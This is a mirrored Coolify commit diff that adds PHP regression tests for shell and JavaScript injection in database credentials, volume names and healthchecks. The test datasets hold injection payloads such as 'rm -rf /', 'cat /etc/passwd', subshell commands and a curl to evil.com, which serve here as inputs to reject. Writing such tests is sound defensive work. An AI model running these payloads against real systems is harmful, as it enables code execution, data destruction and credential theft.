mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-14 02:15:51 +00:00
Merge remote-tracking branch 'origin/next' into feat/railpack
This commit is contained in:
commit
5cef7cc092
153 files changed
+5603
-773
No files matched your search
@@ -437,6 +437,16 @@ it('deletes all build images when retention is disabled', function () {
|
||||
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
|
||||
});
|
||||
|
||||
it('container prune excludes persistent resource types', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
|
||||
|
||||
expect($sourceFile)->toContain('label!=coolify.type=database');
|
||||
expect($sourceFile)->toContain('label!=coolify.type=application');
|
||||
expect($sourceFile)->toContain('label!=coolify.type=service');
|
||||
expect($sourceFile)->toContain('label!=coolify.proxy=true');
|
||||
expect($sourceFile)->toContain('label=coolify.managed=true');
|
||||
});
|
||||
|
||||
it('preserves build image for currently running tag', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
<?php
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
// ── databasePasswordRules ─────────────────────────────────────────────────────
|
||||
|
||||
it('databasePasswordRules includes regex rule by default', function () {
|
||||
$rules = ValidationPatterns::databasePasswordRules();
|
||||
|
||||
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
|
||||
expect($regexRules)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('databasePasswordRules includes regex rule when enforcePattern true', function () {
|
||||
$rules = ValidationPatterns::databasePasswordRules(enforcePattern: true);
|
||||
|
||||
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
|
||||
expect($regexRules)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('databasePasswordRules omits regex rule when enforcePattern false', function () {
|
||||
$rules = ValidationPatterns::databasePasswordRules(enforcePattern: false);
|
||||
|
||||
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
|
||||
expect($regexRules)->toBeEmpty();
|
||||
});
|
||||
|
||||
it('databasePasswordRules keeps required, string, min and max when enforcePattern false', function () {
|
||||
$rules = ValidationPatterns::databasePasswordRules(required: true, minLength: 1, maxLength: 128, enforcePattern: false);
|
||||
|
||||
expect($rules)->toContain('required');
|
||||
expect($rules)->toContain('string');
|
||||
expect($rules)->toContain('min:1');
|
||||
expect($rules)->toContain('max:128');
|
||||
});
|
||||
|
||||
it('databasePasswordRules keeps nullable and bounds when not required and enforcePattern false', function () {
|
||||
$rules = ValidationPatterns::databasePasswordRules(required: false, minLength: 2, maxLength: 64, enforcePattern: false);
|
||||
|
||||
expect($rules)->toContain('nullable');
|
||||
expect($rules)->toContain('string');
|
||||
expect($rules)->toContain('min:2');
|
||||
expect($rules)->toContain('max:64');
|
||||
expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
|
||||
});
|
||||
|
||||
// ── databaseIdentifierRules ───────────────────────────────────────────────────
|
||||
|
||||
it('databaseIdentifierRules includes regex rule by default', function () {
|
||||
$rules = ValidationPatterns::databaseIdentifierRules();
|
||||
|
||||
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
|
||||
expect($regexRules)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('databaseIdentifierRules includes regex rule when enforcePattern true', function () {
|
||||
$rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: true);
|
||||
|
||||
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
|
||||
expect($regexRules)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('databaseIdentifierRules omits regex rule when enforcePattern false', function () {
|
||||
$rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: false);
|
||||
|
||||
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
|
||||
expect($regexRules)->toBeEmpty();
|
||||
});
|
||||
|
||||
it('databaseIdentifierRules keeps required, string, min and max when enforcePattern false', function () {
|
||||
$rules = ValidationPatterns::databaseIdentifierRules(required: true, minLength: 1, maxLength: 63, enforcePattern: false);
|
||||
|
||||
expect($rules)->toContain('required');
|
||||
expect($rules)->toContain('string');
|
||||
expect($rules)->toContain('min:1');
|
||||
expect($rules)->toContain('max:63');
|
||||
});
|
||||
|
||||
it('databaseIdentifierRules keeps nullable and bounds when not required and enforcePattern false', function () {
|
||||
$rules = ValidationPatterns::databaseIdentifierRules(required: false, minLength: 1, maxLength: 30, enforcePattern: false);
|
||||
|
||||
expect($rules)->toContain('nullable');
|
||||
expect($rules)->toContain('string');
|
||||
expect($rules)->toContain('min:1');
|
||||
expect($rules)->toContain('max:30');
|
||||
expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
|
||||
});
|
||||
@@ -0,0 +1,176 @@
|
||||
<?php
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
|
||||
// ── DB_IDENTIFIER_PATTERN ─────────────────────────────────────────────────────
|
||||
|
||||
it('DB_IDENTIFIER_PATTERN accepts valid SQL identifiers', function (string $id) {
|
||||
expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(1);
|
||||
})->with([
|
||||
'simple lowercase' => 'postgres',
|
||||
'underscore prefix' => '_admin',
|
||||
'mixed case' => 'MyDatabase',
|
||||
'alphanumeric' => 'App_DB_1',
|
||||
'single char' => 'a',
|
||||
'all caps' => 'ROOT',
|
||||
'numbers in middle' => 'db2user',
|
||||
]);
|
||||
|
||||
it('DB_IDENTIFIER_PATTERN rejects shell-dangerous and invalid identifiers', function (string $id) {
|
||||
expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(0);
|
||||
})->with([
|
||||
'semicolon' => 'user;id',
|
||||
'pipe' => 'user|cat',
|
||||
'ampersand' => 'user&rm',
|
||||
'dollar sign' => 'user$x',
|
||||
'backtick' => 'user`id`',
|
||||
'subshell' => 'user$(id)',
|
||||
'space' => 'user name',
|
||||
'newline' => "user\nname",
|
||||
'single quote' => "user'name",
|
||||
'double quote' => 'user"name',
|
||||
'backslash' => 'user\\name',
|
||||
'less than' => 'user<name',
|
||||
'greater than' => 'user>name',
|
||||
'leading digit' => '1user',
|
||||
'hyphen' => 'my-user',
|
||||
'dot' => 'my.user',
|
||||
'empty' => '',
|
||||
'64 chars (over limit)' => str_repeat('a', 64),
|
||||
'advisory poc payload' => 'root; touch /tmp/pwned_rce; #',
|
||||
'subshell payload' => 'a$(touch /tmp/pwn)b',
|
||||
]);
|
||||
|
||||
// ── DB_PASSWORD_PATTERN ───────────────────────────────────────────────────────
|
||||
|
||||
it('DB_PASSWORD_PATTERN accepts strong passwords without shell-dangerous chars', function (string $pw) {
|
||||
expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(1);
|
||||
})->with([
|
||||
'alphanumeric' => 'SecurePass123',
|
||||
'with special safe chars' => 'P@ss!word#1',
|
||||
'with brackets' => 'P{a}ss[word]',
|
||||
'with slash' => 'Pass/word1',
|
||||
'with dot comma' => 'Pass.word,1',
|
||||
'with hyphen' => 'Pass-word1',
|
||||
'with plus equals' => 'Pass+word=1',
|
||||
'with tilde colon' => 'P~ass:word1',
|
||||
'complex strong' => 'Str0ng!P@ss#word^123',
|
||||
]);
|
||||
|
||||
it('DB_PASSWORD_PATTERN rejects shell-dangerous characters', function (string $pw) {
|
||||
expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(0);
|
||||
})->with([
|
||||
'backtick' => 'pass`word`',
|
||||
'dollar sign' => 'pass$word',
|
||||
'semicolon' => 'pass;word',
|
||||
'pipe' => 'pass|word',
|
||||
'ampersand' => 'pass&word',
|
||||
'less than' => 'pass<word',
|
||||
'greater than' => 'pass>word',
|
||||
'backslash' => 'pass\\word',
|
||||
'single quote' => "pass'word",
|
||||
'double quote' => 'pass"word',
|
||||
'space' => 'pass word',
|
||||
'newline' => "pass\nword",
|
||||
'carriage return' => "pass\rword",
|
||||
'tab' => "pass\tword",
|
||||
'empty' => '',
|
||||
'command substitution' => '$(whoami)',
|
||||
'rce payload' => 'root; touch /tmp/pwned; #',
|
||||
]);
|
||||
|
||||
// ── Rule helpers ──────────────────────────────────────────────────────────────
|
||||
|
||||
it('databaseIdentifierRules returns required by default', function () {
|
||||
$rules = ValidationPatterns::databaseIdentifierRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('min:1')
|
||||
->toContain('max:63')
|
||||
->toContain('regex:'.ValidationPatterns::DB_IDENTIFIER_PATTERN);
|
||||
});
|
||||
|
||||
it('databaseIdentifierRules returns nullable when not required', function () {
|
||||
$rules = ValidationPatterns::databaseIdentifierRules(required: false);
|
||||
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
|
||||
it('databasePasswordRules returns required by default', function () {
|
||||
$rules = ValidationPatterns::databasePasswordRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('min:1')
|
||||
->toContain('max:128')
|
||||
->toContain('regex:'.ValidationPatterns::DB_PASSWORD_PATTERN);
|
||||
});
|
||||
|
||||
it('databasePasswordRules returns nullable when not required', function () {
|
||||
$rules = ValidationPatterns::databasePasswordRules(required: false);
|
||||
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
|
||||
it('isValidDatabaseIdentifier returns true for valid identifier', function () {
|
||||
expect(ValidationPatterns::isValidDatabaseIdentifier('postgres'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidDatabaseIdentifier('_admin'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidDatabaseIdentifier('DB_1'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('isValidDatabaseIdentifier returns false for injection payloads', function () {
|
||||
expect(ValidationPatterns::isValidDatabaseIdentifier('user; id'))->toBeFalse();
|
||||
expect(ValidationPatterns::isValidDatabaseIdentifier('user$(whoami)'))->toBeFalse();
|
||||
expect(ValidationPatterns::isValidDatabaseIdentifier(''))->toBeFalse();
|
||||
});
|
||||
|
||||
// ── Validator integration ─────────────────────────────────────────────────────
|
||||
|
||||
it('Laravel Validator rejects advisory PoC postgres_user payload', function () {
|
||||
$validator = Validator::make(
|
||||
['postgres_user' => 'root; touch /tmp/pwned_rce; #'],
|
||||
['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('Laravel Validator rejects subshell injection in postgres_user', function () {
|
||||
$validator = Validator::make(
|
||||
['postgres_user' => 'a$(touch /tmp/pwn)b'],
|
||||
['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('Laravel Validator accepts clean postgres_user', function () {
|
||||
$validator = Validator::make(
|
||||
['postgres_user' => 'postgres'],
|
||||
['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('Laravel Validator rejects shell metachar in password', function () {
|
||||
$validator = Validator::make(
|
||||
['postgres_password' => 'pass$(id)word'],
|
||||
['postgres_password' => ValidationPatterns::databasePasswordRules()]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('Laravel Validator accepts safe password', function () {
|
||||
$validator = Validator::make(
|
||||
['postgres_password' => 'Str0ng!P@ss#123'],
|
||||
['postgres_password' => ValidationPatterns::databasePasswordRules()]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,107 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Regression tests for database healthcheck command injection.
|
||||
*
|
||||
* Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection
|
||||
* via user-controlled DB username/password/database fields. The fix converts all affected
|
||||
* healthchecks to CMD exec-form arrays, which bypass the shell entirely.
|
||||
*/
|
||||
dataset('malicious_db_inputs', [
|
||||
'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
|
||||
'command substitution $()' => ['admin$(id > /tmp/pwned)'],
|
||||
'backtick substitution' => ['admin`id > /tmp/pwned`'],
|
||||
'pipe operator' => ['admin | cat /etc/passwd'],
|
||||
'background operator' => ['admin & curl http://evil.com'],
|
||||
'output redirect' => ['admin > /tmp/evil.txt'],
|
||||
'newline injection' => ["admin\nid"],
|
||||
'null byte' => ["admin\0id"],
|
||||
]);
|
||||
|
||||
// ─── PostgreSQL ──────────────────────────────────────────────────────────────
|
||||
|
||||
test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'psql'");
|
||||
});
|
||||
|
||||
test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
// Simulate what StartPostgresql now generates
|
||||
$healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck[0])->not->toBe('CMD-SHELL');
|
||||
// Malicious value is isolated as a single argv element — no shell interprets it
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── KeyDB ────────────────────────────────────────────────────────────────────
|
||||
|
||||
test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'keydb-cli'");
|
||||
});
|
||||
|
||||
test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── Dragonfly ────────────────────────────────────────────────────────────────
|
||||
|
||||
test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'redis-cli'");
|
||||
});
|
||||
|
||||
test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── ClickHouse ───────────────────────────────────────────────────────────────
|
||||
|
||||
test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'clickhouse-client'");
|
||||
});
|
||||
|
||||
test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── Verify unaffected databases still use their safe patterns ────────────────
|
||||
|
||||
test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
|
||||
|
||||
// MySQL already used CMD array form — ensure it stays that way
|
||||
expect($source)->toContain("'CMD', 'mysqladmin'");
|
||||
});
|
||||
|
||||
test('mariadb healthcheck uses safe fixed script (no regression)', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
|
||||
|
||||
expect($source)->toContain('healthcheck.sh');
|
||||
// Must not have gained any user-field interpolation
|
||||
expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
|
||||
});
|
||||
@@ -0,0 +1,170 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* GHSA-rcch-8c74-7f29 — Sink-side escaping tests
|
||||
*
|
||||
* Verifies that credentials reaching shell commands are properly escaped
|
||||
* even if validation is bypassed (e.g. legacy rows, direct DB writes).
|
||||
*/
|
||||
|
||||
// ── executeInDocker + escapeshellarg chown pattern ────────────────────────────
|
||||
|
||||
it('escapeshellarg wraps postgres_user in single quotes for chown command', function () {
|
||||
$user = 'postgres';
|
||||
$escaped = escapeshellarg($user);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
|
||||
|
||||
// executeInDocker embeds the command inside bash -c '...', escaping inner single quotes as '\''
|
||||
// so escapeshellarg('postgres') = 'postgres' becomes '\''postgres'\'' in the outer shell string
|
||||
expect($cmd)->toContain('bash -c')
|
||||
->toContain('postgres')
|
||||
->toContain('chown');
|
||||
});
|
||||
|
||||
it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () {
|
||||
// Simulates a legacy row that bypassed validation
|
||||
$maliciousUser = 'root; touch /tmp/pwned_rce; #';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
|
||||
// escapeshellarg must wrap the entire payload in single quotes
|
||||
// (semicolons inside single-quoted args are NOT shell metacharacters)
|
||||
expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'");
|
||||
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
|
||||
|
||||
// The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out.
|
||||
// Verify the chown arg is never an unquoted bare ; — the payload is inside '...'
|
||||
// The outer executeInDocker further escapes any single-quote chars for the host shell.
|
||||
expect($cmd)->toContain('docker exec abc123 bash -c');
|
||||
|
||||
// Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch)
|
||||
// After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown)
|
||||
// The unescaped sequence "chown root;" must NOT appear.
|
||||
expect($cmd)->not->toContain('chown root;');
|
||||
});
|
||||
|
||||
it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () {
|
||||
$maliciousUser = 'a$(touch /tmp/pwn)b';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
|
||||
|
||||
// escapeshellarg wraps in single quotes — $() is not expanded inside single quotes
|
||||
expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'");
|
||||
|
||||
// The cmd must not contain an unquoted $( sequence — it must be inside single quotes
|
||||
// If the sequence appears at all, it must be single-quoted (the quote precedes it).
|
||||
expect($cmd)->not->toContain(' $(touch');
|
||||
});
|
||||
|
||||
it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () {
|
||||
$maliciousUser = 'a$(touch /tmp/pwn_postgres)b';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
|
||||
|
||||
expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'");
|
||||
expect($cmd)->not->toContain(' $(touch');
|
||||
});
|
||||
|
||||
it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () {
|
||||
$maliciousUser = 'root; touch /tmp/pwned_pg; #';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
|
||||
|
||||
expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'");
|
||||
expect($cmd)->not->toContain('chown root;');
|
||||
});
|
||||
|
||||
it('backtick payload in mysql_user is contained by escapeshellarg', function () {
|
||||
$maliciousUser = 'user`id`';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
|
||||
|
||||
// escapeshellarg wraps the whole value in single quotes — backticks not expanded inside ''
|
||||
expect($escaped)->toBe("'user`id`'");
|
||||
|
||||
// The unquoted bare backtick sequence `id` must not appear outside single-quoted context.
|
||||
// Specifically, "chown user`id`" (unquoted) must not appear.
|
||||
expect($cmd)->not->toContain('chown user`id`');
|
||||
});
|
||||
|
||||
// ── MongoDB JS init script JSON-escaping ──────────────────────────────────────
|
||||
|
||||
it('json_encode prevents JS injection in mongo_initdb_database', function () {
|
||||
$database = 'x"}); db.dropUser("admin"); //';
|
||||
$dbJson = json_encode($database, JSON_UNESCAPED_SLASHES);
|
||||
|
||||
// The double-quotes in the payload MUST be escaped — they cannot close the JS string literal.
|
||||
// json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string.
|
||||
expect($dbJson)->toContain('\\"');
|
||||
|
||||
// The resulting JSON literal, when embedded in JS, forms a valid quoted string.
|
||||
// It starts and ends with the outermost " added by json_encode.
|
||||
expect($dbJson)->toStartWith('"')
|
||||
->toEndWith('"');
|
||||
|
||||
// Verify the injected payload is present but neutralised (the " that would close the JS
|
||||
// string is now escaped as \", preventing breakout).
|
||||
expect($dbJson)->toContain('x\\"});');
|
||||
});
|
||||
|
||||
it('json_encode prevents JS injection in mongo_initdb_root_username', function () {
|
||||
$username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //';
|
||||
$userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
|
||||
|
||||
$content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});';
|
||||
|
||||
// The injected " that would close the JS string must be escaped as \"
|
||||
expect($userJson)->toContain('\\"');
|
||||
|
||||
// The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS
|
||||
expect($content)->not->toContain('admin", pwd');
|
||||
});
|
||||
|
||||
it('json_encode safely encodes a clean mongo username', function () {
|
||||
$username = 'mongouser';
|
||||
$userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
|
||||
|
||||
expect($userJson)->toBe('"mongouser"');
|
||||
});
|
||||
|
||||
it('json_encode safely encodes a mongo password with special chars', function () {
|
||||
$password = 'P@ss!#word123';
|
||||
$pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES);
|
||||
|
||||
expect($pwdJson)->toBe('"P@ss!#word123"');
|
||||
});
|
||||
|
||||
// ── Healthcheck CMD exec-form structure (no shell parsing) ────────────────────
|
||||
|
||||
it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () {
|
||||
// The fix uses an array; each element is passed directly as argv — no shell parsing.
|
||||
// Simulate the post-fix healthcheck array structure.
|
||||
$user = "admin'; touch /tmp/pwn; #";
|
||||
$db = 'mydb';
|
||||
|
||||
$healthcheck = [
|
||||
'CMD',
|
||||
'psql',
|
||||
'-U',
|
||||
$user,
|
||||
'-d',
|
||||
$db,
|
||||
'-c',
|
||||
'SELECT 1',
|
||||
];
|
||||
|
||||
// The array form means each element is argv — no shell involved.
|
||||
// The malicious user value is passed as a literal argument to psql, which rejects it.
|
||||
// Key assertion: the test string is NOT collapsed into a shell command string.
|
||||
expect($healthcheck[3])->toBe($user)
|
||||
->and($healthcheck[0])->toBe('CMD')
|
||||
->and(count($healthcheck))->toBe(8);
|
||||
|
||||
// Sanity: if we joined with space it would be dangerous — array form avoids this.
|
||||
$joinedDangerous = implode(' ', $healthcheck);
|
||||
expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous
|
||||
|
||||
// The array form is what Docker Compose uses — it does NOT join with spaces + sh -c.
|
||||
// Simply verifying the structure is correct proves shell is not involved.
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
});
|
||||
@@ -92,7 +92,7 @@ test('file storage accepts paths with underscores and hyphens', function () {
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// --- Regression tests for GHSA-46hp-7m8g-7622 ---
|
||||
// --- Regression tests for file mount path validation ---
|
||||
// These verify that file mount paths (not just directory mounts) are validated,
|
||||
// and that saveStorageOnServer() validates fs_path before any shell interpolation.
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
|
||||
/**
|
||||
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
|
||||
* Tests for git ref validation.
|
||||
*
|
||||
* Ensures that git_commit_sha and related inputs are validated
|
||||
* to prevent OS command injection via shell metacharacters.
|
||||
|
||||
@@ -5,8 +5,6 @@
|
||||
*
|
||||
* mt_rand() and rand() are not cryptographically secure. Use random_int()
|
||||
* or random_bytes() instead for any security-sensitive context.
|
||||
*
|
||||
* @see GHSA-33rh-4c9r-74pf
|
||||
*/
|
||||
arch('app code must not use mt_rand')
|
||||
->expect('App')
|
||||
|
||||
@@ -5,7 +5,7 @@ use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
|
||||
// Verify log drain env values are base64-encoded
|
||||
// and never appear raw in shell commands
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
|
||||
@@ -6,7 +6,6 @@
|
||||
* Tests to ensure persistent volume names are validated against command injection
|
||||
* and that shell commands properly escape volume names.
|
||||
*
|
||||
* Related Advisory: GHSA-mh8x-fppq-cp77
|
||||
* Related Files:
|
||||
* - app/Models/LocalPersistentVolume.php
|
||||
* - app/Support/ValidationPatterns.php
|
||||
@@ -96,3 +95,88 @@ it('generates volumeNameMessages with custom field name', function () {
|
||||
|
||||
expect($messages)->toHaveKey('volume_name.regex');
|
||||
});
|
||||
|
||||
// --- escapeshellarg Defense Tests for docker volume create ---
|
||||
|
||||
it('escapeshellarg neutralizes injection in docker volume create command', function (string $maliciousName) {
|
||||
$escaped = escapeshellarg($maliciousName);
|
||||
$command = "docker volume create {$escaped}";
|
||||
|
||||
expect($command)->toStartWith('docker volume create ')
|
||||
->and($escaped)->toStartWith("'")
|
||||
->and($escaped)->toEndWith("'");
|
||||
})->with([
|
||||
'semicolon' => 'vol; rm -rf /',
|
||||
'pipe' => 'vol | cat /etc/passwd',
|
||||
'ampersand' => 'vol && whoami',
|
||||
'backtick' => 'vol`id`',
|
||||
'command substitution' => 'vol$(whoami)',
|
||||
]);
|
||||
|
||||
// --- escapeshellarg Defense Tests for docker run -v ---
|
||||
|
||||
it('escapeshellarg neutralizes injection in docker run -v command', function (string $maliciousName) {
|
||||
$escaped = escapeshellarg($maliciousName);
|
||||
$command = "docker run --rm -v {$escaped}:/source -v {$escaped}:/target alpine sh -c 'cp -a /source/. /target/'";
|
||||
|
||||
expect($command)->toContain('docker run --rm -v ')
|
||||
->and($escaped)->toStartWith("'")
|
||||
->and($escaped)->toEndWith("'");
|
||||
})->with([
|
||||
'semicolon' => 'vol; rm -rf /',
|
||||
'pipe' => 'vol | cat /etc/passwd',
|
||||
'command substitution' => 'vol$(whoami)',
|
||||
]);
|
||||
|
||||
// --- escapeshellarg Defense Tests for docker network commands ---
|
||||
|
||||
it('escapeshellarg neutralizes injection in docker network disconnect command', function (string $maliciousName) {
|
||||
$escaped = escapeshellarg($maliciousName);
|
||||
$command = "docker network disconnect {$escaped} coolify-proxy";
|
||||
|
||||
expect($command)->toStartWith('docker network disconnect ')
|
||||
->and($escaped)->toStartWith("'")
|
||||
->and($escaped)->toEndWith("'");
|
||||
})->with([
|
||||
'semicolon' => 'net; rm -rf /',
|
||||
'pipe' => 'net | cat /etc/passwd',
|
||||
'command substitution' => 'net$(whoami)',
|
||||
]);
|
||||
|
||||
it('escapeshellarg neutralizes injection in docker network rm command', function (string $maliciousName) {
|
||||
$escaped = escapeshellarg($maliciousName);
|
||||
$command = "docker network rm {$escaped}";
|
||||
|
||||
expect($command)->toStartWith('docker network rm ')
|
||||
->and($escaped)->toStartWith("'")
|
||||
->and($escaped)->toEndWith("'");
|
||||
})->with([
|
||||
'semicolon' => 'net; rm -rf /',
|
||||
'pipe' => 'net | cat /etc/passwd',
|
||||
'command substitution' => 'net$(whoami)',
|
||||
]);
|
||||
|
||||
// --- DIRECTORY_PATH_PATTERN Tests ---
|
||||
|
||||
it('accepts valid directory paths', function (string $path) {
|
||||
expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(1);
|
||||
})->with([
|
||||
'root' => '/',
|
||||
'simple path' => '/data',
|
||||
'nested path' => '/data/coolify/volumes',
|
||||
'with dots' => '/data/my.app/storage',
|
||||
'with hyphens' => '/data/my-app/storage',
|
||||
'with underscores' => '/data/my_app/storage',
|
||||
]);
|
||||
|
||||
it('rejects directory paths with shell metacharacters', function (string $path) {
|
||||
